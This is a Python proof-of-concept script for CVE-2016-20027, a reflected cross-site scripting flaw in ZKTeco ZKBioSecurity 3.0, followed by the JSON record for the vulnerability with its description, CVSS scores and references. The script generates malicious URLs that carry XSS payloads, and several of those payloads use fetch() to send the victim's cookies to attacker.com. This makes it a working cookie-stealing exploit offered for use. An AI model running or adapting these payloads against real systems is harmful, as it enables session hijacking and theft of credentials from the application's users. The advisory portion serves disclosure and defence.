CVE-2016-20027

import urllib.parse def generate_xss_payload(): # CVE-2016-20027 PoC - Reflected XSS in ZKTeco ZKBioSecurity 3.0 # XSS payload examples payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', '<svg/onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>', 'javascript:fetch("https://attacker.com/steal?c="+document.cookie)' ] # Target URLs with vulnerable parameters base_urls = [ "https://target-server/zkbiosecurity/path/script.jsp", "https://target-server/zkbiosecurity/admin/somepage.do", "https://target-server/zkbiosecurity/search.action" ] # Generate malicious URLs malicious_urls = [] for base_url in base_urls: for payload in payloads: encoded_payload = urllib.parse.quote(payload) malicious_url = f"{base_url}?param={encoded_payload}" malicious_urls.append(malicious_url) return malicious_urls # Example usage if __name__ == "__main__": urls = generate_xss_payload() print("Generated XSS URLs:") for url in urls: print(url)

{"cve": {"id": "CVE-2016-20027", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:49.117", "lastModified": "2026-04-15T14:56:45.970", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZKTeco ZKBioSecurity 3.0 contains multiple reflected cross-site scripting vulnerabilities that allow attackers to execute arbitrary HTML and script code by injecting malicious payloads through unsanitized parameters in multiple scripts. Attackers can craft malicious URLs with XSS payloads in vulnerable parameters to execute scripts in a user's browser session within the context of the affected application."}, {"lang": "es", "value": "ZKTeco ZKBioSecurity 3.0 contiene múltiples vulnerabilidades de cross-site scripting reflejado que permiten a los atacantes ejecutar código HTML y de script arbitrario inyectando cargas útiles maliciosas a través de parámetros no saneados en múltiples scripts. Los atacantes pueden crear URLs maliciosas con cargas útiles de XSS en parámetros vulnerables para ejecutar scripts en la sesión del navegador de un usuario dentro del contexto de la aplicación afectada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2016080267", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/116476", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/138568", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/zkteco-zkbiosecurity-multiple-reflected-xss-vulnerabilities", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5363.php", "source": "[email protected]"}]}}